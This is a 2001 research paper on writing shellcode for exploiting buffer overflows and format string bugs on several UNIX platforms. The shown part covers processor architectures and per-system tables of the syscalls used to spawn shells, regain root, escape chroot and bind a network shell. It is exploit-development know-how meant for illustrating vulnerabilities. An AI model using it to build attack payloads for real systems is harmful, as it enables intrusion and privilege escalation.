

UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes

by
Last Stage of Delirium Research Group

<http://lsd-pl.net>

Version: 1.0
Updated: JUNE 4TH, 2001

Copyright © 1996-2001 Last Stage of Delirium Research Group, Poland

© Last Stage of Delirium Research Group 1996-2001. All rights reserved.

The authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of the information provided in this document. Liability claims regarding damage caused by the use of any information provided, including any kind of information which is incomplete or incorrect, will therefore be rejected.

Last Stage of Delirium Research Group reserves the right to change or discontinue this document without notice.

Table of content

1	Processor architectures	6
1.1	IRIX and MIPS basics	7
1.2	Solaris and SPARC basics	8
1.3	HP-UX and PA-RISC basics	9
1.4	AIX and POWER/PowerPC basics	10
1.5	Solaris/Linux/{Free,Net,Open}BSD/BeOS and x86 basics	12
2	System call interface invocation	14
2.1	IRIX/MIPS	14
2.2	Solaris/SPARC	15
2.3	HP-UX/PA-RISC	15
2.4	AIX/POWER/PowerPC	16
2.5	Solaris/x86	16
2.6	{Free,Net,Open}BSD/x86	17
2.7	Linux/x86	17
2.8	BeOS/x86	18
3	Code specifics	19
3.1	Short code length	19
3.2	Position independence	20
3.2.1	IRIX/MIPS	20
3.2.2	Solaris/SPARC	21
3.2.3	HP-UX/PA-RISC	21
3.2.4	AIX/POWER/PowerPC	21
3.2.5	Solaris/Linux/{Free,Net,Open}BSD/BeOS/x86	22
3.3	"Zero free" code	22
3.3.1	IRIX/MIPS	23
3.3.2	HP-UX/PA-RISC	23

3.3.3	AIX/POWER/PowerPC	25
3.3.4	Solaris/x86	25
4	Assembly codes functionality	27
4.1	Shell execution (<code>shellcode</code>)	27
4.2	Single command execution (<code>cmdshellcode</code>)	27
4.3	Privileges restoration (<code>set{uid,euid,reuid,resuid}code</code>)	28
4.4	Chroot limited environment escape (<code>chrootcode</code>)	28
4.5	Find socket code (<code>findsckcode</code>)	29
4.6	Network server code (<code>bindsckcode</code>)	29
4.7	Stack pointer retrieval (<code>jump</code>)	30
4.8	No-operation instruction (<code>nop</code>)	31
5	Final notes	32
6	References	33
A	IRIX/MIPS codes, file: mips-irix	34
B	Solaris/SPARC codes, file: sparc-solaris	37
C	HP-UX/PA-RISC codes, file: parisc-hpux	41
D	AIX/POWER/PowerPC codes, file: powerpc-aix	45
E	Solaris/x86 codes, file: x86-solaris	50
F	{Free,Net,Open}BSD/x86 codes, file: x86-bsd	55
G	Linux/x86 codes, file: x86-linux	59
H	BeOS/x86 codes, file: x86-beos	63
I	Example program for codes usage	65
I.1	<code>asmcodes.h</code>	65
I.2	<code>asmcodes.c</code>	67

Introduction

This technical document contains information about the specifics of writing assembly components for proof of concept codes on different operating systems/architectures. Specifically, it focuses on commercial UNIX systems: IRIX/MIPS, HP-UX/PA-RISC, AIX/PowerPC/POWER and Solaris/x86/Sparc. It is neither meant to be a complete guide to the aforementioned computer architectures nor it is the assembly language tutorial. It has been written as a result of our side-effect investigation efforts in the area of security research pertaining to proof of concept codes development for security vulnerabilities illustration purposes. Obviously, it is destined for code developers specializing (having/looking for an experience) in the area of buffer overflow and format string vulnerabilities, however it is limited only to these assembly parts. For information regarding general proof of concept codes development, please refer to other papers.

This document is divided into several inter-related parts. In the beginning some basic information about various processor architectures and their important characteristics is given. Next, a detailed discussion of the system call invocation mechanisms, which seems to be crucial for further parts, is presented in the context of different operating systems. It is followed by the introduction to coding requirements, such as writing position independent and *zero free* assembly codes. Finally, a detailed discussion of several assembly routines with special emphasis on their functionality is presented. In the appendices of this paper you will also find source codes of every routine for all discussed operating systems and architectures along with sample code of their usage¹.

Because of our ongoing research in the area this document will be updated in the future to contain information about other processor architectures/operating systems. Always refer to the most recent version, which can be downloaded directly from our website: lsd-pl.net.

With any questions or comments feel free to send us email at: contact@lsd-pl.net

¹All source codes from this paper can be also downloaded as a single `tar` file from our website.

Chapter 1

Processor architectures

Modern operating systems run atop two main processor architectures - CISC and RISC ones. The CISC architecture, which stands for *Complex Instruction Set Computer*, represents microprocessor families¹ with extremely complex instruction sets that are implemented with microcode mechanism. Typical CISC microprocessor implements instructions which are of different format, encoding lengths and have different execution times. The complexity of CPU's architecture is mainly due to the need to support high-level languages and operating systems.

From the assembly code developer's point of view the most important is what instruction set, register set and addressing modes a given CPU offers. He is usually not interested about CPU's design and its internal features, as they seem to be only influencing overall chip performance. For example, in the case of Intel x86 microprocessors no attention must be paid to data and code memory alignments - 32/16/8 memory chunks can be accessed freely, the instruction stream can start at any valid memory address.

However, there are also some features of the Intel x86 CPUs that must be usually considered when writing proof of concept codes for buffer overflow/format string vulnerabilities. These are CPU caches and pipelines. The first ones become problematic for processors equipped with separately maintained data and instruction caches and usually occur due to abnormal jumps to the code portion residing in program data space (the code that is already residing in a data, but not necessarily in a CPU code cache). Although we have only encountered cache problems on Solaris 2.5 running atop Intel 80486, such caches incoherence should be always taken into consideration. The CPU pipeline problems occur very rarely and only when explicit changes are made to the instruction stream that is just to be executed. In such cases, the changed instructions are not taken into account as they are usually already residing in a pipeline (they are decoded by CPU). This imposes some constraints on writing self-modifying code for x86, for example the one used to construct the `long call` instruction (used as a system call gate).

The *Reduced Instruction Set Computer* (RISC) architecture is a concept that emerged in recent years as a result of statistical analysis of the way in which software generated by optimizing compilers actually uses processor instruction set. It turned out that simplest instructions were used most often-even in the code compiled for CISC machines. Thus, the RISC microprocessors have been designed with simplicity in mind. They do not make use of microcode - instead instructions are executed by the chip logic which is implemented as some sort of finite automate with a few general states reflecting instruction decode, argument load, instruction execution and argument store phases. This along with uniform instruction format, same length (usually 32 bits wide) and execution times makes a perfect ground for pipelined instruction execution capability. This results in a more or less parallel instruction execution and in most cases (R10000, SPARC, UltraSPARC,

¹The Intel x86 family of microprocessors (8086, 80286, 80286, 80386, Pentium - Pentium IV) is a good example of CISC CPUs

PowerPC 6xx etc.) leads to a modern superscalar architecture with multiple pipelines, separate execution units, advanced branch prediction and out-of-order execution mechanisms.

The number of general purpose registers that are available on RISC microprocessors usually exceeds the one from CISC microprocessors. Register specialization is also less significant - any given general purpose register can be usually used in place of the other. RISC CPUs usually have only few instruction sets dedicated for performing register-register, branch, memory access and special CPU control operations. Although the instruction set usually seems to be very simple, in fact it is very functional. What is also worth mentioning is that RISC microprocessors are load-store machines - their instruction set is mostly focused on register-register operations and the only direct memory access instructions are the "load to" and "store from" register equivalents. As on RISC microprocessors, usually there are not any dedicated instructions for performing stack like operations, the notion of a stack is also different. It is just an ordinary memory area addressed by one of the general purpose registers (denoted as a **stack pointer**) where classic stack's **push** and **pop** operations are implemented with the use of implicit loads and stores.

RISC microprocessor is usually equipped with internal data and instruction caches but that solely depends a given CPU model. As it has been already mentioned, data and instruction caches are separately maintained therefore some incoherencies must be usually fought. This is the main reason why some special care must be usually taken while writing proof of concept codes for buffer overflow and format string vulnerabilities. This is especially important in the case of MIPS and PowerPC/POWER architectures where in order to avoid the illegal instruction exception (resulting from the abnormal jumps to the code portion residing in a program data space) appropriate techniques must be usually applied.

In the following sections of this chapter we provide brief characteristics of several computer architectures for which assembly codes are discussed further in this document.

1.1 IRIX and MIPS basics

Microprocessors from the MIPS R4000-R12000 line are all designed in RISC architecture. MIPS CPU contains 32 general purpose 64-bit wide registers along with a set of 32 bit, ANSI/IEEE-754 standard compliant floating point registers. Special purpose registers (coprocessor and debug registers) of which most are only accessible only from within the CPU supervisor mode allow setting up the microprocessor operating environment (its mode, memory management, interrupts etc.).

MIPS processor can operate in a little or big endian mode, and this second case is used by default in the IRIX operating system. The 32/64 bit mode of CPU operation can be also configured by appropriate setting the value of one of the special purpose registers, The proper choice is usually made by the operating system itself and depends on the MIPS ABI (*Abstract Binary Interface*) of the ELF binary that is to be executed (O32, N32, 64).

The MIPS instruction set can be divided into 6 following classes of instructions:

- load and store instructions,
- computational instructions,
- jump and branch instructions,
- coprocessor instructions,
- special instructions.

CPU instructions have a uniform length of 32 bits and there are three major instruction formats that can be distinguished (respectively for immediate, branch and register operations). MIPS microprocessors can be equipped with internal data and instruction caches but it also depends on a given CPU model. Because MIPS instruction stream is pipelined, a maximum of 8 concurrent instructions (R4000) can be executed simultaneously. Due to the pipeline mechanism an attempt

to execute branch delay slot instructions is always made, but its results are canceled if the jump from the preceding branch instruction is taken.

CPU execution unit throws bus error exception whenever an attempt to pass execution to a non word-boundary aligned instruction is made. The same exception is thrown whenever 16/32/64 bits wide memory data portions are accessed in a not appropriately aligned manner.

There are three MIPS ABIs available across different IRIX operating environments:

- O32 - programs are executed in a 32 bit environment - processor mode is set up to 32, all registers and memory pointers are 32 bits wide,
- N32 - programs are executed in a semi-64 bits environment - processor mode is set up to 64, registers and memory pointers are 64 bit wide, although they reflect 32 bit entities (this is the 64 bit environment for 32 bit programs),
- 64 - programs are executed in a 64 bit environment - processor mode is set up to 64, all registers and memory pointers are 64 bits wide.

All MIPS ABIs have common definition of general registers and their specialization:

r0 (zero)	always contains the value of 0,
r29 (sp)	stack pointer (stack grows downwards),
r31 (ra)	contains the return address from subroutine (this explains why the <code>jalr ra,reg</code> instruction is always used to pass execution to subroutines),
r28 (gp)	global pointer, used for accessing program global data (regardless of the MIPS ABI always <code>lw reg,-offset(gp)</code> instruction is used for that purpose),
r4-r7 (a0-a3)	first 4 arguments (integers or pointers) to subroutine/system calls,
r8 -r15 (t0-t7)	temporary registers, not saved across subroutine calls,
r16-r23 (s0-s7)	temporary registers, saved across subroutine calls,
r2 (v0)	upon the system call entry it contains the system call number, upon its exit it holds return value from <code>syscall</code> .

1.2 Solaris and SPARC basics

Microprocessors from the SPARC (Scalable Processor ARChitecture) line are also all designed in RISC architecture. The V8 (Sparc, SuperSparc) family consists of 32 bit models while the newer one - the V9 (Ultra Sparc I, II, III) family is made up of 64 bit models. SPARC microprocessors designed according to the V9 specification are fully superscalar microprocessors, which can operate in a big or little endian mode. They can execute up to 3 instructions in parallel with the support of 9-stage pipeline mechanism. Due to the unique usage of a register windows mechanism, SPARC microprocessors can be equipped with a large set of general purpose registers, of which number can vary from 64 to 528 (internal registers). By default, only a basic 32 general purpose registers divided into the 4 register subsets can be accessed directly:

- global registers - g0-g7 (r0-r7)
- output registers - o0-o7 (r8-r15)
- local registers - l0-l7 (r16-r23)
- input registers - i0-i7 (r24-r31)

SPARC microprocessors implement a dedicated subroutine function call mechanism with the use of a `call` and `ret` instructions. The `call` instruction stores current value of a `pc` register (program counter) to `o7` (return address) and passes program execution to the address given as the instruction operand. The `ret` instruction restores program execution from the address denoted by the value of register `o7` and increased by 8 (the length of a `call` instruction and its delay slot). On a

Solaris/SPARC system, the stack grows towards lower addresses. Its notion is similar as on other operating systems - the only noticeable difference is in the additional area which is always reserved on stack for general registers' saving purposes.

In order to allocate space on stack, an appropriate `save` instruction is always executed at the beginning of each subroutine. Upon return from a subroutine call, the `ret/restore` instruction sequence is usually executed. The `ret` transfers program flow to the address location denoted by the sum of 8 constant and the value of register `o7`. Restore is executed in a delay slot of the `ret` instruction and its purpose is to restore previous values of registers from stack.

Note:

The way in which stack is handled on Solaris/SPARC system has a great influence on the exploitability issue of its buffer overrun vulnerabilities. This class of errors cannot be always exploited on Solaris/SPARC as there must exist at least one level of subroutine calls nesting, so that two concurrent ret/restore sequences can be executed by a vulnerable program after its stack gets overrun (the first ret/restore loads stack with user supplied data, the second one makes a return to the address taken from the overrun stack).

According to the ABI specification, general registers and their specialization is defined as follows:

<code>r0 (r0)</code>	zero,
<code>o7 (r15)</code>	return address (stored by a call instruction),
<code>o0-o5 (r8-r12)</code>	input arguments to the next subroutine to be called (after execution of the <code>save</code> instruction they will be in registers <code>i0-i5</code>),
<code>i6</code>	stack pointer (after save <code>i6->o6</code>),
<code>o6</code>	frame pointer,
<code>pc</code>	program counter,
<code>npc</code>	next instruction.

1.3 HP-UX and PA-RISC basics

Microprocessors from the PA-RISC 7200-8400 line are similarly all designed in RISC architecture. The 7xxx family consists of 32 bit models while the newer one - the 8xxx family is made up of 64 bit models. There are 32 general purpose registers (32 or 64 bits wide depending on a model) and 32 floating point registers (64 bits wide) available on PA-RISC CPU. Additionally, there are also 8 segment registers (the so-called space registers), 32 control registers and 7 shadow registers. The latter ones are used for holding values of some of the general purpose registers during interrupts processing.

PA-RISC CPU can also operate in a big or little-endian mode. The proper choice is made by setting the `E-bit` in a processor status word register (`PSW`) what is done by the operating system.

The PA-RISC instruction set can be divided into 6 following classes of instructions:

- memory reference instructions,
- branch instructions,
- long immediate instructions,
- computational instructions,
- system control instructions,
- assist instructions.

The CPU instructions have a uniform length of 32 bits. They always consist of 6-bit opcode operand identifying the instruction itself and an accompanying number of instruction's parameter fields (source/target registers, memory addresses etc.). When compared to other RISC CPU families, the PA-RISC instruction set is rather big and complex. It contains a large set of two-in-one instructions of which the conditional adds and subs are just an example of. The PA-RISC instruction stream is

pipelined so the maximum of 8 concurrent instructions can be executed simultaneously. The pipeline mechanism implies the use of a delay-slot filling instructions. Because of the lack of dedicated `call/ret` mechanism in PA-RISC, subroutine calls must be implemented with the use of inter-segment jump calls.

There are 3 different ABIs used across HP-UX operating system environments:

- s800 (32-bit)
- parisc 1.1 (32-bit)
- parisc 2.0 (32/64-bit)

On HP-UX 10.20 the s800/PA-RISC 1.1 ABI specification is used. On HP-UX 11.x the PA-RISC 1.1/2.0 specification is more common. Under all of the ABI specifications the processor is operating in a big-endian mode.

The PA-RISC ABI specification contains definition of general registers and their specialization:

<code>gr0</code>	zero value register - always contains the zero value,
<code>gr2 (rp)</code>	return pointer register - contains the return address from subroutine (the subroutine return call is usually done with the use of <code>bv,n r0(rp)</code> instruction - the inter-segment jump call through <code>rp</code> register),
<code>gr19</code>	shared library linkage register (used for Data Linkage Table),
<code>gr23-gr26 (arg3-arg0)</code>	argument registers (they contain first 4 integer/pointer arguments to subroutine/system calls),
<code>gr27 (dp)</code>	data pointer (it usually holds a pointer to global program data from <code>\$private_space</code> data segment),

1.4 AIX and POWER/PowerPC basics

PowerPC architecture defines a software model for microprocessors implementation. It is derived from the IBM POWER architecture (*Performance Optimized with Enhanced RISC* architecture) and is optimized for single chip implementations. There are many similarities between these both architectures: they have almost fully compatible register and instruction sets as well as similar programming models. Although the instruction encoding is the same for POWER and PowerPC, each of them introduces different instructions mnemonic notation².

There are two PowerPC architecture definitions separately for 32 and 64 bit microprocessor implementations. The PowerPC line of 6xx family microprocessors (601, 603, 603e and 604) represents 32 bit implementations of the PowerPC architecture, whereas the 620 model is a 64 bit one. All PowerPC 6xx models are designed in RISC architecture. PowerPC microprocessors can operate both in a little or big endian mode, depending on the setting of the LE bit value of MSR special register. The proper choice is usually made by the operating system and for AIX 4.x, the big endian operation mode is the default.

PowerPC family microprocessors have 32 general purpose registers, which are 32 or 64 bits wide depending on the architecture that the processor in fact implements. There are also 32 64 bits wide IEEE/754 standard compliant floating point registers and some special registers, like LR, CTR, XER and CR.

PowerPC instructions are of uniform length of 32 bits and there are almost 12 instruction formats, which reflect 5 primary classes of instructions:

- branch instructions,
- fixed-point instructions,

²Throughout this document we will use the POWER mnemonic notation.

- floating-point instructions,
- load and store instructions,
- processor control instructions.

As for the RISC microprocessor, PowerPC has rather *complex* addressing modes (immediate, register indirect, register indirect with index) and some specialized instructions (integer rotate and shift instructions, integer load and store string/multiple instructions). On PowerPC microprocessors usually no attention must be paid to memory alignments - 64/32/16/8 bits memory chunks can be accessed freely as unaligned memory addresses do not raise exceptions - they just influence performance of code execution. There are however some subtle exceptions to this rule considering the operands of floating point instructions and integer `load/store` multiple instructions which require aligned operands.

The POWER/PowerPC architecture specification does not precise the pipeline model, but all of the PowerPC 6xx microprocessors have a pipelined instruction stream (usually with 4 pipeline stages). Self-modifying code can be implemented by issuing a proper sequence of cache synchronizing instructions (`dcbst`, `sync`, `icbi`, `sync`, `isync`) - but that usually works for systems that do not implement unified L2 caches.

With regard to the linkage model, both 32 and 64 bit PowerPC architectures define subroutine linkage convention and general purpose registers specialization as follows:

<code>r0</code>	it is used in function prologs, as an operand of some instructions it can indicate the value of zero,
<code>r1 (stkp)</code>	stack pointer,
<code>r2 (toc)</code>	table of contents (<code>toc</code>) pointer - denotes the program execution context - points to the program's global data and is used whenever program global symbols are accessed and during dynamic linking of external symbols; for system calls it contains the syscall number,
<code>r3-r10 (arg0-arg8)</code>	first 8 arguments to function/system calls,
<code>r11</code>	used in calls by pointer and as an environment pointer for some languages,
<code>r12</code>	it is used in exception handling and in <code>glink</code> (dynamic linker) code.

The linkage convention regarding the usage of special registers is presented below:

<code>lr (link)</code>	it is used as a branch target address or holds a subroutine return address,
<code>ctr</code>	it is used as a loop count or as a target of some branch calls,
<code>xer</code>	fixed-point exception register - indicates overflows or carries for integer operations,
<code>fpscr</code>	floating-point exception register,
<code>msr</code>	machine status register, used for configuring microprocessor settings,
<code>cr</code>	condition register, it is divided into eight 4 bit fields, <code>cr0-cr7</code> , that reflect the results of certain arithmetic operations and provide a mechanism for conditional branching.

The `iar` register denotes the next instruction to be executed by the processor (it reflects the current value of a program counter). According to the linkage convention, stack pointer, `toc` and registers `r13` to `r31` must be preserved across subroutine calls.

AIX dynamic linking mechanism is a bit different from what is known from other operating systems. In AIX, all external references are dynamically resolved during program execution and are handled by the dynamic linker (`glink`) prolog and epilog routines. AIX however uses a different concept for a global symbol pointer. A pointer to an external symbol `datum` is in fact a reference to the 2-pointer structure consisting of:

- the `toc` pointer of the module containing the datum object (it specifies the code execution context),
- the pointer to the datum object itself.

1.5 Solaris/Linux/{Free,Net,Open}BSD/BeOS and x86 basics

Operating systems that run atop x86 architecture naturally share all common features of the underlying microprocessor architecture. Due to the variety of the x86 family microprocessors, we will only focus on one of its models - Intel 80386. It would not impose any limits to our discussion of the x86 architecture as the 80386 microprocessor model is the base 32 bit model of all 32 bit x86 family microprocessors. In particular, its operation regarding protected mode, implemented instruction set and available register set is the same for all of its successors up to Pentium IV microprocessor models.

Intel 80386 microprocessor is a 32 bit microprocessor which can only operate in a little endian mode. Under Solaris, Linux, *BSD and BeOS it is set to operate in a protected mode to which we will also limit our further discussion. Contrary to all previous architectures, 80386 processor is designed in CISC architecture, thus its instruction set is rather large and complex when compared to RISC architecture. 80386 instructions are divided into three major groups: integer, floating-point (for 80386DX and above), and system instructions. The first group is the largest one and it contains many specialized instructions for data transfer, binary and decimal arithmetic, string, flags and program control flow operations. Apart from that, there are also dedicated I/O and stack operation instructions as well as interrupt processing ones.

On Intel microprocessors no attention must be paid to memory alignments -32/16/8 bits memory chunks can be accessed freely in an aligned or unaligned manner. This also refers to instruction stream, which can start at any valid memory location. The microprocessor stack supports classical `push` and `pop` operations and it grows towards lower addresses.

On Intel 80386 microprocessor, memory operands can be specified through an address computation made up of one or more of the following components:

- displacement-an 8-, 16-, or 32-bit value,
- base-the value in a general-purpose register,
- index-the value in a general-purpose register,
- scale factor-a value of 2, 4, or 8 that is multiplied by the index value.

The processor provides 16 registers for use in general system and application programming. These registers can be grouped as follows:

- `eax`, `ebx`, `ecx`, `edx`, `esi`, `edi`, `ebp` general-purpose data registers - 32 bits wide registers that are available for storing instruction operands and memory pointers,
- `cs`, `ds`, `ss`, `es`, `fs`, and `gs` segment registers - 16 bits wide registers that hold up to six segment selectors (special pointers that identify a segment in memory),
- `eflags` status and control register - it reports and allows modification of the state of the processor and of the program being executed.

In most cases, any general purpose register can be used as an instruction operand or in memory address calculation. There are however several instruction which require specific registers as operands. Registers specialization with regard to these instructions is presented below:

eax	accumulator for operands and results data,
ebx	pointer to data in the ds segment,
ecx	counter for string and loop operations,
edx	I/O pointer,
esi	pointer to data in the segment pointed to by the ds register; source pointer for string operations,
edi	pointer to data in the segment pointed to by the es register; destination pointer for string operations,
ebp	pointer to data on the stack (in the ss segment),
esp	stack pointer.

When considering the linkage convention used on x86 based operating systems, the following rules are usually applied:

- **eax** register usually contains the result of a subroutine/system call,
- **ebp** register contains the value of a current frame's pointer,
- arguments to subroutine/system calls are passed to them through general purpose registers or stack.

Chapter 2

System call interface invocation

Proper functionality of every assembly code discussed in this document is obtained by invoking underlying operating system services. These services are implemented in the kernel code and are available to user programs through the system call interface. Because the operating system kernel is a privileged code, it usually operates on a level that is not accessible to common user applications. In most cases the kernel/user space code separation is implemented with some help from hardware. Modern microprocessors support the idea of different modes of operations - separate for user applications and the operating system itself. These are the supervisor/user modes in RISC microprocessors and protected layered modes (rings) of x86 CISC microprocessor.

While executing user applications microprocessor runs on the least privileged mode, which naturally protects the operating system and other users applications from any external interference. The operating system as a privileged code is executed in a supervisor mode and therefore can fully control the microprocessor operation including interrupts, memory management and tasks execution. The only way a user application can call operating system services is through the concept of a system call instruction. Different computer architectures have different system call instructions, but they are all common in operation: upon their execution the microprocessor switches operating mode from user to supervisor equivalent and passes execution to the appropriate kernel system call handling routine. Upon its completion, the execution is returned to the user process at the next instruction following the system call invocation instruction (not always, see AIX discussion). Simultaneously, the microprocessor mode of operation is also switched back to the one reflecting user space applications.

Below we provide detailed information on the mechanism of system call interface invocation used on every computer architecture discussed throughout this document. In every case, all syscalls used in the codes contained further in this document are presented in a table form. Please note that for the clarity of such notation several simplifications have been accepted.

2.1 IRIX/MIPS

On IRIX/MIPS the `syscall` special instruction is used for calling the operating system services. The `v0` register denotes the system call number and registers `a0-a3` are appropriately filled with a given system call arguments.

The table below contains detailed information about system call services (its numbers and parameters) we use in our IRIX/MIPS assembly codes presented further in this document.

syscall	%v0	%a0, %a1, %a2, %a3
execv	x3f3	->path="/bin/sh",->[->a0=path,0]
execv	x3f3	->path="/bin/sh",->[->a0=path,->a1="-c",->a2=cmd,0]
getuid	x400	
setreuid	x464	ruid,euid=0
mkdir	x438	->path="a..",mode= (each value is valid)
chroot	x425	->path="a..","."
chdir	x3f4	->path=".."
getpeername	x445	sfd,->sadr=[],->[len=605028752]
socket	x453	AF_INET=2,SOCK_STREAM=2,prot=0
bind	x442	sfd,->sadr=[0x30,2,hi,lo,0,0,0,0],len=0x10
listen	x448	sfd,backlog=5
accept	x441	sfd,0,0
close	x3ee	fd=0,1,2
dup	x411	sfd

2.2 Solaris/SPARC

On Solaris/SPARC the `ta 8` trap instruction is used for calling the operating system services. The `g1` register denotes the system call number and registers `o0-o4` are appropriately filled with a given system call arguments.

The table below contains detailed information about system call services (its numbers and parameters) we use in our Solaris/SPARC assembly codes presented further in this document.

syscall	%g1	%o0, %o1, %o2, %o3, %o4
exec	x00b	->path="/bin/ksh",->[->a0=path,0]
exec	x00b	->path="/bin/ksh",->[->a0=path,->a1="-c",->a2=cmd,0]
setuid	x017	uid=0
mkdir	x050	->path="b..",mode= (each value is valid)
chroot	x03d	->path="b..","."
chdir	x00c	->path=".."
ioctl	x036	sfd,TI_GETPEERNAME=0x5491,->[mlen=0x54,len=0x54,->sadr=[]]
so_socket	x0e6	AF_INET=2,SOCK_STREAM=2,prot=0,devpath=0,SOV_DEFAULT=1
bind	x0e8	sfd,->sadr=[0x33,2,hi,lo,0,0,0,0],len=0x10,SOV_SOCKSTREAM=2
listen	x0e9	sfd,backlog=5,vers= (not required in this syscall)
accept	x0ea	sfd,0,0,vers= (not required in this syscall)
fcntl	x03e	sfd,F_DUP2FD=0x09,fd=0,1,2

2.3 HP-UX/PA-RISC

On HP-UX the inter-segment jump call instruction is used for calling the operating system services:

```
ldil    L'-0x40000000,%r1
be,1    4(%sr7,%r1)
```

The `r22` register denotes the system call number and registers `r26-r23` are appropriately filled with a given system call arguments. The inter-segment jump is made through register `sr7` which reflects shared memory area in which kernel code resides.

The table below contains detailed information about system call services (its numbers and parameters) we use in our HP-UX/PA-RISC assembly codes presented further in this document.

syscall	%r22	%r26,%r25,%r24,%r23
execv	x00b	->path="/bin/sh",0
execv	x00b	->path="/bin/sh",->[->a0=path,->a1="-c",->a2=cmd,0]
setresuid	x07e	0,0,0
mkdir	x088	->path="a..",mode= (each value is valid)
chroot	x03d	->path="a..","."
chdir	x00c	->path=".."
getpeername	x116	sfd,->sadr=[],->[0x10]
socket	x122	AF_INET=2,SOCK_STREAM=1,prot=0
bind	x114	sfd,->sadr=[0x61,2,hi,lo,0,0,0,0],len=0x10
listen	x119	sfd,backlog=5
accept	x113	sfd,0,0
dup2	x05a	sfd,fd=0,1,2

2.4 AIX/POWER/PowerPC

On AIX the *svca* (*sc* in a mnemonic notation of PowerPC) instruction is used whenever the operating system services are to be called. The *r2* register denotes the system call number and registers *r3-r10* are appropriately filled with a given system call arguments. There are two additional prerequisites that must be fulfilled before executing the system call instruction: the *LR* register must be filled with the *return from syscall address* value and the *crorc cr6, cr6, cr6* instruction must be issued just before the system call.

Because different system call numbers for the same service are used across different AIX 4.x versions, we use syscall numbers lookup table inside our assembly routines, appropriately to a given operating system.

The table below contains detailed information about system call services (its numbers and parameters) we use in our AIX/POWER/PowerPC assembly codes presented further in this document.

syscall	%r2	%r2	%r2	%r3, %r4, %r5
execve	x003	x002	x004	->path="/bin/sh",->[->a0=path,0],0
execve	x003	x002	x004	->path="/bin/sh",->[->a0=path,->a1="-c",->a2=cmd,0],0
seteuid	x068	x071	x082	euid=0
mkdir	x07f	x08e	x0a0	->path="t..",mode= (each value is valid)
chroot	x06f	x078	x089	->path="t..","."
chdir	x06d	x076	x087	->path=".."
getpeername	x041	x046	x053	sfd,->sadr=[],->[len=0x2c]
socket	x057	x05b	x069	AF_INET=2,SOCK_STREAM=1,prot=0
bind	x056	x05a	x068	sfd,->sadr=[0x2c,0x02,hi,lo,0,0,0,0],len=0x10
listen	x055	x059	x067	sfd,backlog=5
accept	x053	x058	x065	sfd,0,0
close	x05e	x062	x071	fd=0,1,2
kfcntl	x0d6	x0e7	x0fc	sfd,F_DUPFD=0,fd=0,1,2
	v4.1	v4.2	v4.3	

2.5 Solaris/x86

On Solaris/x86 the *lcall 0x7,0x0* instruction (far call through *system call* call gate selector) is used for calling the operating system services. The *eax* register denotes the system call number and system call arguments are passed to the appropriate service routine through stack (they are

pushed on it in reverse order - the first system call argument is pushed as the last value).

As a prerequisite to the system call invocation there must be one additional value pushed on the stack just before issuing the `lcall` instruction - the dummy library return address, of which value is unimportant to the call itself.

The table below contains detailed information about system call services (its numbers and parameters stack order) we use in our Solaris/x86 assembly codes presented further in this document.

syscall	%eax	stack
exec	x00b	ret,->path="/bin/ksh",->[->a0=path,0]
exec	x00b	ret,->path="/bin/ksh",->[->a0=path,->a1="-c",->a2=cmd,0]
setuid	x017	ret,uid=0
mkdir	x050	ret,->path="b..",mode= (each value is valid)
chroot	x03d	ret,->path="b..",."
chdir	x00c	ret,->path=".."
ioctl	x036	ret,sfd,TI_GETPEERNAME=0x5491,->[mlen=0x91,len=0x91,->sadr=[]]
so_socket	x0e6	ret,AF_INET=2,SOCK_STREAM=2,prot=0,devpath=0,SOV_DEFAULT=1
bind	x0e8	ret,sfd,->sadr=[0xff,2,hi,lo,0,0,0,0],len=0x10,SOV_SOCKSTREAM=2
listen	x0e9	ret,sfd,backlog=5,vers= (not required in this syscall)
accept	x0ea	ret,sfd,0,0,vers= (not required in this syscall)
fcntl	x03e	ret,sfd,F_DUP2FD=0x09,fd=0,1,2

2.6 {Free,Net,Open}BSD/x86

*BSD/x86 uses exactly the same mechanism for invoking the operating system services as Solaris/x86. Additionally, system services can be invoked with the use of the `int 0x80` software interrupt instruction.

The table below contains detailed information about system call services (its numbers, parameters and their stack order) we use in our *BSD/x86 assembly codes presented further in this document.

syscall	%eax	stack
execve	x03b	ret,->path="/bin//sh",->[->a0=0],0
execve	x03b	ret,->path="/bin//sh",->[->a0=path,->a1="-c",->a2=cmd,0],0
setuid	x017	ret,uid=0
mkdir	x088	ret,->path="b..",mode= (each value is valid)
chroot	x03d	ret,->path="b..",."
chdir	x00c	ret,->path=".."
getpeername	x01f	ret,sfd,->sadr=[],->[len=0x10]
socket	x061	ret,AF_INET=2,SOCK_STREAM=1,prot=0
bind	x068	ret,sfd,->sadr=[0xff,2,hi,lo,0,0,0,0],->[0x10]
listen	x06a	ret,sfd,backlog=5
accept	x01e	ret,sfd,0,0
dup2	x05a	ret,sfd,fd=0,1,2

2.7 Linux/x86

On Linux/x86 the `int 0x80` instruction is used for calling the operating system services. The `eax` register denotes the system call number and registers `ebx`, `ecx`, `edx` are appropriately filled with a given system call arguments.

The table below contains detailed information about system call services (their numbers and pa-

rameters) we use in our Linux/x86 assembly codes presented further in this document.

syscall	%eax	%ebx, %ecx, %edx
exec	x00b	->path="/bin//sh",->[->a0=path,0]
exec	x00b	->path="/bin//sh",->[->a0=path,->a1="-c",->a2=cmd,0]
setuid	x017	uid=0
mkdir	x027	->path="b..",mode=0 (each value is valid)
chroot	x03d	->path="b..","."
chdir	x00c	->path=".."
socketcall	x066	getpeername=7,->[sfd,->sadr=[],->[len=0x10]]
socketcall	x066	socket=1,->[AF_INET=2,SOCK_STREAM=2,prot=0]
socketcall	x066	bind=2,->[sfd,->sadr=[0xff,2,hi,lo,0,0,0,0],len=0x10]
socketcall	x066	listen=4,->[sfd,backlog=102]
socketcall	x066	accept=5,->[sfd,0,0]
dup2	x03f	sfd,fd=2,1,0

2.8 BeOS/x86

On BeOS/x86 the int 0x25 interrupt invocation instruction is used for calling the operating system services. The `eax` register denotes the system call number and system call arguments are passed to the appropriate service routine through stack (they are pushed on it in reverse order - the first system call argument is pushed as the last value).

As a prerequisite to the system call invocation there must be two additional values pushed on the stack just before issuing the int 0x25 instruction - the dummy library return address and the value indicating the number of arguments passed to the system call routine.

The table below contains detailed information about system call services (its numbers and parameters stack order) we use in our BeOS/x86 assembly codes presented further in this document. It contains only `execv` system call description as we have not yet managed to develop some functional codes for BeOS as for other operating systems ¹.

syscall	%eax	stack
execv	x03f	ret, anum=1,->[->path="/bin//sh"],0
execv	x03f	ret, anum=3,->[->path="/bin//sh",->a1="-c",->a2=cmd],0

¹This is mainly due to the lack of information available about the way network operations can be implemented through a system call layer on BeOS.

